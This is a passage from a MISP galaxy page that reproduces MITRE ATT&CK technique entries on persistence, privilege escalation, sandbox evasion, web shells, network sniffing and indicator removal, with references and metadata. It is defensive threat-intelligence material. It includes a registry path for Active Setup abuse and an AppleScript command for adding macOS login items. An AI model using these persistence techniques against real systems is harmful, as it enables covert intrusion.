UUID 0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3 which can be used as unique global reference for PowerShell Profile - T1546.013 in MISP communities and other software using the MISP galaxy
External references
- http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf - webarchive
- https://attack.mitre.org/techniques/T1546/013 - webarchive
- https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6 - webarchive
- https://docs.microsoft.com/powershell/module/microsoft.powershell.core/about/about_profiles - webarchive
- https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html - webarchive
- https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1546.013 |
| kill_chain | ['attack-Windows:privilege-escalation', 'attack-Windows:persistence'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Creation', 'File: File Modification', 'Process: Process Creation'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Active Setup - T1547.014
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine. Active Setup is a Windows mechanism that is used to execute programs when a user logs in. The value stored in the Registry key will be executed after a user logs into the computer.(Citation: Klein Active Setup 2010) These programs will be executed under the context of the user and will have the account's associated permissions level.
Adversaries may abuse Active Setup by creating a key under HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\ and setting a malicious value for StubPath. This value will serve as the program that will be executed when a user logs into the computer.(Citation: Mandiant Glyer APT 2010)(Citation: Citizenlab Packrat 2015)(Citation: FireEye CFR Watering Hole 2012)(Citation: SECURELIST Bright Star 2015)(Citation: paloalto Tropic Trooper 2016)
Adversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.
Internal MISP references
UUID 22522668-ddf6-470b-a027-9d6866679f67 which can be used as unique global reference for Active Setup - T1547.014 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1547/014 - webarchive
- https://citizenlab.ca/2015/12/packrat-report/ - webarchive
- https://digital-forensics.sans.org/summit-archives/2010/35-glyer-apt-persistence-mechanisms.pdf - webarchive
- https://helgeklein.com/blog/2010/04/active-setup-explained/ - webarchive
- https://securelist.com/whos-really-spreading-through-the-bright-star/68978/ - webarchive
- https://technet.microsoft.com/en-us/sysinternals/bb963902 - webarchive
- https://unit42.paloaltonetworks.com/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/ - webarchive
- https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1547.014 |
| kill_chain | ['attack-Windows:persistence', 'attack-Windows:privilege-escalation'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Login Items - T1547.015
Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as AppleScript, whereas the Service Management Framework uses the API call SMLoginItemSetEnabled.
Login items installed using the Service Management Framework leverage launchd, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.
Adversaries can utilize AppleScript and Native API calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using AppleScript to send an Apple events to the “System Events” process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as tell application “System Events” to make login item at end with properties /path/to/executable.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019)
Internal MISP references
UUID 84601337-6a55-4ad7-9c35-79e0d1ea2ab3 which can be used as unique global reference for Login Items - T1547.015 in MISP communities and other software using the MISP galaxy
External references
- http://www.hexed.in/2019/07/osxdok-analysis.html - webarchive
- https://attack.mitre.org/techniques/T1547/015 - webarchive
- https://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/ - webarchive
- https://blog.timschroeder.net/2013/04/21/smloginitemsetenabled-demystified/ - webarchive
- https://developer.apple.com/documentation/coreservices/launch_services - webarchive
- https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/LaunchServicesKeys.html#//apple_ref/doc/uid/TP40009250-SW1 - webarchive
- https://developer.apple.com/library/archive/samplecode/LoginItemsAE/Introduction/Intro.html#//apple_ref/doc/uid/DTS10003788 - webarchive
- https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html - webarchive
- https://eclecticlight.co/2018/05/22/running-at-startup-when-to-use-a-login-item-or-a-launchagent-launchdaemon/ - webarchive
- https://eclecticlight.co/2021/09/16/how-to-run-an-app-or-tool-at-startup/ - webarchive
- https://gist.github.com/kaloprominat/6111584 - webarchive
- https://objective-see.com/blog/blog_0x25.html - webarchive
- https://objective-see.com/blog/blog_0x31.html - webarchive
- https://objective-see.com/blog/blog_0x44.html - webarchive
- https://support.apple.com/guide/mac-help/open-items-automatically-when-you-log-in-mh15189/mac - webarchive
- https://www.sentinelone.com/blog/how-malware-persists-on-macos/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1547.015 |
| kill_chain | ['attack-macOS:persistence', 'attack-macOS:privilege-escalation'] |
| mitre_data_sources | ['File: File Creation', 'File: File Modification', 'Process: Process Creation'] |
| mitre_platforms | ['macOS'] |
Related clusters
To see the related clusters, click here.
Installer Packages - T1546.016
Adversaries may establish persistence and elevate privileges by using an installer to trigger the execution of malicious content. Installer packages are OS specific and contain the resources an operating system needs to install applications on a system. Installer packages can include scripts that run prior to installation as well as after installation is complete. Installer scripts may inherit elevated permissions when executed. Developers often use these scripts to prepare the environment for installation, check requirements, download dependencies, and remove files after installation.(Citation: Installer Package Scripting Rich Trouton)
Using legitimate applications, adversaries have distributed applications with modified installer scripts to execute malicious content. When a user installs the application, they may be required to grant administrative permissions to allow the installation. At the end of the installation process of the legitimate application, content such as macOS postinstall scripts can be executed with the inherited elevated permissions. Adversaries can use these scripts to execute a malicious executable or install other malicious components (such as a Launch Daemon) with the elevated permissions.(Citation: Application Bundle Manipulation Brandon Dalton)(Citation: wardle evilquest parti)(Citation: Windows AppleJeus GReAT)(Citation: Debian Manual Maintainer Scripts)
Depending on the distribution, Linux versions of package installer scripts are sometimes called maintainer scripts or post installation scripts. These scripts can include preinst, postinst, prerm, postrm scripts and run as root when executed.
For Windows, the Microsoft Installer services uses .msi files to manage the installing, updating, and uninstalling of applications. These installation routines may also include instructions to perform additional actions that may be abused by adversaries.(Citation: Microsoft Installation Procedures)
Internal MISP references
UUID da051493-ae9c-4b1b-9760-c009c46c9b56 which can be used as unique global reference for Installer Packages - T1546.016 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1546/016 - webarchive
- https://cpb-us-e1.wpmucdn.com/sites.psu.edu/dist/4/24696/files/2019/07/psumac2019-345-Installer-Package-Scripting-Making-your-deployments-easier-one-at-a-time.pdf - webarchive
- https://learn.microsoft.com/windows/win32/msi/installation-procedure-tables-group - webarchive
- https://objective-see.com/blog/blog_0x59.html - webarchive
- https://redcanary.com/blog/mac-application-bundles/ - webarchive
- https://securelist.com/operation-applejeus/87553/ - webarchive
- https://www.debian.org/doc/debian-policy/ch-maintainerscripts.html#s-mscriptsinstact - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1546.016 |
| kill_chain | ['attack-Linux:privilege-escalation', 'attack-macOS:privilege-escalation', 'attack-Windows:privilege-escalation', 'attack-Linux:persistence', 'attack-macOS:persistence', 'attack-Windows:persistence'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Creation', 'Process: Process Creation'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Identify groups/roles - T1270
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Personnel internally to a company may belong to a group or maintain a role with electronic specialized access, authorities, or privilege that make them an attractive target for an adversary. One example of this is a system administrator. (Citation: RSA-APTRecon)
Internal MISP references
UUID 89a79d91-53e0-4ef5-ba28-558cb8b01f76 which can be used as unique global reference for Identify groups/roles - T1270 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1270 |
| kill_chain | ['pre-attack:people-information-gathering'] |
Proxy/protocol relays - T1304
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Proxies act as an intermediary for clients seeking resources from other systems. Using a proxy may make it more difficult to track back the origin of a network communication. (Citation: APT1)
Internal MISP references
UUID b14f6692-b613-44bb-9f30-8381a5ff10d5 which can be used as unique global reference for Proxy/protocol relays - T1304 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1304 |
| kill_chain | ['pre-attack:adversary-opsec'] |
Scheduled Task/Job - T1053
Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security)
Adversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). Similar to System Binary Proxy Execution, adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent)
Internal MISP references
UUID 35dd844a-b219-4e2b-a6bb-efa9a75995a9 which can be used as unique global reference for Scheduled Task/Job - T1053 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1053 |
| kill_chain | ['attack-Windows:execution', 'attack-Linux:execution', 'attack-macOS:execution', 'attack-Containers:execution', 'attack-Windows:persistence', 'attack-Linux:persistence', 'attack-macOS:persistence', 'attack-Containers:persistence', 'attack-Windows:privilege-escalation', 'attack-Linux:privilege-escalation', 'attack-macOS:privilege-escalation', 'attack-Containers:privilege-escalation'] |
| mitre_data_sources | ['Command: Command Execution', 'Container: Container Creation', 'File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Scheduled Job: Scheduled Job Creation'] |
| mitre_platforms | ['Windows', 'Linux', 'macOS', 'Containers'] |
Scheduled Task/Job - T1603
Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. On Android and iOS, APIs and libraries exist to facilitate scheduling tasks to execute at a specified date, time, or interval.
On Android, the WorkManager API allows asynchronous tasks to be scheduled with the system. WorkManager was introduced to unify task scheduling on Android, using JobScheduler, GcmNetworkManager, and AlarmManager internally. WorkManager offers a lot of flexibility for scheduling, including periodically, one time, or constraint-based (e.g. only when the device is charging).(Citation: Android WorkManager)
On iOS, the NSBackgroundActivityScheduler API allows asynchronous tasks to be scheduled with the system. The tasks can be scheduled to be repeating or non-repeating, however, the system chooses when the tasks will be executed. The app can choose the interval for repeating tasks, or the delay between scheduling and execution for one-time tasks.(Citation: Apple NSBackgroundActivityScheduler)
Internal MISP references
UUID 00290ac5-551e-44aa-bbd8-c4b913488a6d which can be used as unique global reference for Scheduled Task/Job - T1603 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1603 |
| kill_chain | ['mobile-attack-Android:execution', 'mobile-attack-iOS:execution', 'mobile-attack-Android:persistence', 'mobile-attack-iOS:persistence'] |
| mitre_platforms | ['Android', 'iOS'] |
Develop KITs/KIQs - T1227
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Leadership derives Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) from the areas of most interest to them. KITs are an expression of management's intelligence needs with respect to early warning, strategic and operational decisions, knowing the competition, and understanding the competitive situation. KIQs are the critical questions aligned by KIT which provide the basis for collection plans, create a context for analytic work, and/or identify necessary external operations. (Citation: Herring1999)
Internal MISP references
UUID 6063b486-a247-499b-976a-9de16f4e83bc which can be used as unique global reference for Develop KITs/KIQs - T1227 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1227 |
| kill_chain | ['pre-attack:priority-definition-planning'] |
System Shutdown/Reboot - T1529
Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. reload).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A)
Shutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery.
Adversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as Disk Structure Wipe or Inhibit System Recovery, to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)
Internal MISP references
UUID ff73aa03-0090-4464-83ac-f89e233c02bc which can be used as unique global reference for System Shutdown/Reboot - T1529 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1529 - webarchive
- https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html - webarchive
- https://blog.talosintelligence.com/2018/02/olympic-destroyer.html - webarchive
- https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown - webarchive
- https://www.cisa.gov/uscert/ncas/alerts/TA18-106A - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1529 |
| kill_chain | ['attack-Linux:impact', 'attack-macOS:impact', 'attack-Windows:impact', 'attack-Network:impact'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation', 'Sensor Health: Host Status'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Network'] |
Virtualization/Sandbox Evasion - T1633
Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors after checking for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware’s behavior to disengage from the victim or conceal the core functions of the payload. They may also search for VME artifacts before dropping further payloads. Adversaries may use the information learned from Virtualization/Sandbox Evasion during automated discovery to shape follow-on behaviors.
Adversaries may use several methods to accomplish Virtualization/Sandbox Evasion such as checking for system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment.
Internal MISP references
UUID 27d18e87-8f32-4be1-b456-39b90454360f which can be used as unique global reference for Virtualization/Sandbox Evasion - T1633 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1633 |
| kill_chain | ['mobile-attack-Android:defense-evasion', 'mobile-attack-iOS:defense-evasion'] |
| mitre_platforms | ['Android', 'iOS'] |
Virtualization/Sandbox Evasion - T1497
Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from Virtualization/Sandbox Evasion during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)
Adversaries may use several methods to accomplish Virtualization/Sandbox Evasion such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015)
Internal MISP references
UUID 82caa33e-d11a-433a-94ea-9b5a5fbef81d which can be used as unique global reference for Virtualization/Sandbox Evasion - T1497 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1497 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Linux:defense-evasion', 'attack-Windows:discovery', 'attack-macOS:discovery', 'attack-Linux:discovery'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: OS API Execution', 'Process: Process Creation'] |
| mitre_platforms | ['Windows', 'macOS', 'Linux'] |
Data Obfuscation - T1001
Adversaries may obfuscate command and control traffic to make it more difficult to detect.(Citation: Bitdefender FunnyDream Campaign November 2020) Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Internal MISP references
UUID ad255bfe-a9e6-4b52-a258-8d3462abe842 which can be used as unique global reference for Data Obfuscation - T1001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1001 |
| kill_chain | ['attack-Linux:command-and-control', 'attack-macOS:command-and-control', 'attack-Windows:command-and-control'] |
| mitre_data_sources | ['Network Traffic: Network Traffic Content'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Web Shell - T1100
A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013)
Web shells may serve as Redundant Access or as a persistence mechanism in case an adversary's primary access methods are detected and removed.
Internal MISP references
UUID c16e5409-ee53-4d79-afdc-4099dc9292df which can be used as unique global reference for Web Shell - T1100 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1100 |
| kill_chain | ['attack-Linux:persistence', 'attack-Windows:persistence', 'attack-macOS:persistence', 'attack-Linux:privilege-escalation', 'attack-Windows:privilege-escalation', 'attack-macOS:privilege-escalation'] |
| mitre_platforms | ['Linux', 'Windows', 'macOS'] |
Related clusters
To see the related clusters, click here.
Automated Exfiltration - T1020
Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection.(Citation: ESET Gamaredon June 2020)
When automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over C2 Channel and Exfiltration Over Alternative Protocol.
Internal MISP references
UUID 774a3188-6ba9-4dc4-879d-d54ee48a5ce9 which can be used as unique global reference for Automated Exfiltration - T1020 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1020 |
| kill_chain | ['attack-Linux:exfiltration', 'attack-macOS:exfiltration', 'attack-Windows:exfiltration', 'attack-Network:exfiltration'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Access', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'Script: Script Execution'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Network'] |
Hardware Additions - T1200
Adversaries may introduce computer accessories, networking hardware, or other computing devices into a system or network that can be used as a vector to gain access. Rather than just connecting and distributing payloads via removable storage (i.e. Replication Through Removable Media), more robust hardware additions can be used to introduce new functionalities and/or features into a system that can then be abused.
While public references of usage by threat actors are scarce, many red teams/penetration testers leverage hardware additions for initial access. Commercial and open source products can be leveraged with capabilities such as passive network tapping, network traffic modification (i.e. Adversary-in-the-Middle), keystroke injection, kernel memory reading via DMA, addition of new wireless access to an existing network, and others.(Citation: Ossmann Star Feb 2011)(Citation: Aleks Weapons Nov 2015)(Citation: Frisk DMA August 2016)(Citation: McMillan Pwn March 2012)
Internal MISP references
UUID d40239b3-05ff-46d8-9bdd-b46d13463ef9 which can be used as unique global reference for Hardware Additions - T1200 in MISP communities and other software using the MISP galaxy
External references
- https://arstechnica.com/information-technology/2012/03/the-pwn-plug-is-a-little-white-box-that-can-hack-your-network/ - webarchive
- https://attack.mitre.org/techniques/T1200 - webarchive
- https://ossmann.blogspot.com/2011/02/throwing-star-lan-tap.html - webarchive
- https://www.youtube.com/watch?v=fXthwl6ShOg - webarchive
- https://www.youtube.com/watch?v=lDvf4ScWbcQ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1200 |
| kill_chain | ['attack-Windows:initial-access', 'attack-Linux:initial-access', 'attack-macOS:initial-access'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Drive: Drive Creation', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Windows', 'Linux', 'macOS'] |
Data Compressed - T1002
An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib.
Internal MISP references
UUID b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4 which can be used as unique global reference for Data Compressed - T1002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1002 |
| kill_chain | ['attack-Linux:exfiltration', 'attack-Windows:exfiltration', 'attack-macOS:exfiltration'] |
| mitre_platforms | ['Linux', 'Windows', 'macOS'] |
Related clusters
To see the related clusters, click here.
Network Sniffing - T1040
Adversaries may passively sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.
Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as LLMNR/NBT-NS Poisoning and SMB Relay, can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.
Network sniffing may reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Defense Evasion activities. Adversaries may likely also utilize network sniffing during Adversary-in-the-Middle (AiTM) to passively gain additional knowledge about the environment.
In cloud-based environments, adversaries may still be able to use traffic mirroring services to sniff network traffic from virtual machines. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual Network TAP) Often, much of this traffic will be in cleartext due to the use of TLS termination at the load balancer level to reduce the strain of encrypting and decrypting traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring)(Citation: SpecterOps AWS Traffic Mirroring) The adversary can then use exfiltration techniques such as Transfer Data to Cloud Account in order to access the sniffed traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring)
On network devices, adversaries may perform network captures using Network Device CLI commands such as monitor capture.(Citation: US-CERT-TA18-106A)(Citation: capture_embedded_packet_on_software)
Internal MISP references
UUID 3257eb21-f9a7-4430-8de1-d8b6e288f529 which can be used as unique global reference for Network Sniffing - T1040 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1040 - webarchive
- https://cloud.google.com/vpc/docs/packet-mirroring - webarchive
- https://docs.aws.amazon.com/vpc/latest/mirroring/traffic-mirroring-how-it-works.html - webarchive
- https://docs.microsoft.com/en-us/azure/virtual-network/virtual-network-tap-overview - webarchive
- https://posts.specterops.io/through-the-looking-glass-part-1-f539ae308512 - webarchive
- https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws/ - webarchive
- https://www.cisco.com/c/en/us/support/docs/ios-nx-os-software/ios-embedded-packet-capture/116045-productconfig-epc-00.html - webarchive
- https://www.us-cert.gov/ncas/alerts/TA18-106A - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1040 |
| kill_chain | ['attack-Linux:credential-access', 'attack-macOS:credential-access', 'attack-Windows:credential-access', 'attack-Network:credential-access', 'attack-IaaS:credential-access', 'attack-Linux:discovery', 'attack-macOS:discovery', 'attack-Windows:discovery', 'attack-Network:discovery', 'attack-IaaS:discovery'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Network', 'IaaS'] |
New Service - T1050
When operating systems boot up, they can start programs or applications called services that perform background system functions. (Citation: TechNet Services) A service's configuration information, including the file path to the service's executable, is stored in the Windows Registry.
Adversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating system or benign software with Masquerading. Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through Service Execution.
Internal MISP references
UUID 478aa214-2ca7-4ec0-9978-18798e514790 which can be used as unique global reference for New Service - T1050 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1050 - webarchive
- https://capec.mitre.org/data/definitions/550.html - webarchive
- https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697 - webarchive
- https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection - webarchive
- https://technet.microsoft.com/en-us/library/cc772408.aspx - webarchive
- https://technet.microsoft.com/en-us/sysinternals/bb963902 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1050 |
| kill_chain | ['attack-Windows:persistence', 'attack-Windows:privilege-escalation'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Weaken Encryption - T1600
Adversaries may compromise a network device’s encryption capability in order to bypass encryption that would otherwise protect data communications. (Citation: Cisco Synful Knock Evolution)
Encryption can be used to protect transmitted network traffic to maintain its confidentiality (protect against unauthorized disclosure) and integrity (protect against unauthorized changes). Encryption ciphers are used to convert a plaintext message to ciphertext and can be computationally intensive to decipher without the associated decryption key. Typically, longer keys increase the cost of cryptanalysis, or decryption without the key.
Adversaries can compromise and manipulate devices that perform encryption of network traffic. For example, through behaviors such as Modify System Image, Reduce Key Space, and Disable Crypto Hardware, an adversary can negatively effect and/or eliminate a device’s ability to securely encrypt network traffic. This poses a greater risk of unauthorized disclosure and may help facilitate data manipulation, Credential Access, or Collection efforts. (Citation: Cisco Blog Legacy Device Attacks)
Internal MISP references
UUID 1f9012ef-1e10-4e48-915e-e03563435fe8 which can be used as unique global reference for Weaken Encryption - T1600 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1600 |
| kill_chain | ['attack-Network:defense-evasion'] |
| mitre_data_sources | ['File: File Modification'] |
| mitre_platforms | ['Network'] |
Indicator Removal - T1070
Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary’s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.
Removal of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity. This may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.
Internal MISP references
UUID 799ace7f-e227-4411-baa0-8868704f2a69 which can be used as unique global reference for Indicator Removal - T1070 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1070 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:defense-evasion', 'attack-Containers:defense-evasion', 'attack-Network:defense-evasion', 'attack-Office-365:defense-evasion', 'attack-Google-Workspace:defense-evasion'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Command: Command Execution', 'File: File Deletion', 'File: File Metadata', 'File: File Modification', 'Firewall: Firewall Rule Modification', 'Network Traffic: Network Traffic Content', 'Process: OS API Execution', 'Process: Process Creation', 'Scheduled Job: Scheduled Job Modification', 'User Account: User Account Authentication', 'User Account: User Account Deletion', 'Windows Registry: Windows Registry Key Deletion', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Containers', 'Network', 'Office 365', 'Google Workspace'] |
Fallback Channels - T1008
Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.
Internal MISP references
UUID f24faf46-3b26-4dbb-98f2-63460498e433 which can be used as unique global reference for Fallback Channels - T1008 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1008 |
| kill_chain | ['attack-Linux:command-and-control', 'attack-Windows:command-and-control', 'attack-macOS:command-and-control'] |
| mitre_data_sources | ['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Linux', 'Windows', 'macOS'] |
Binary Padding - T1009
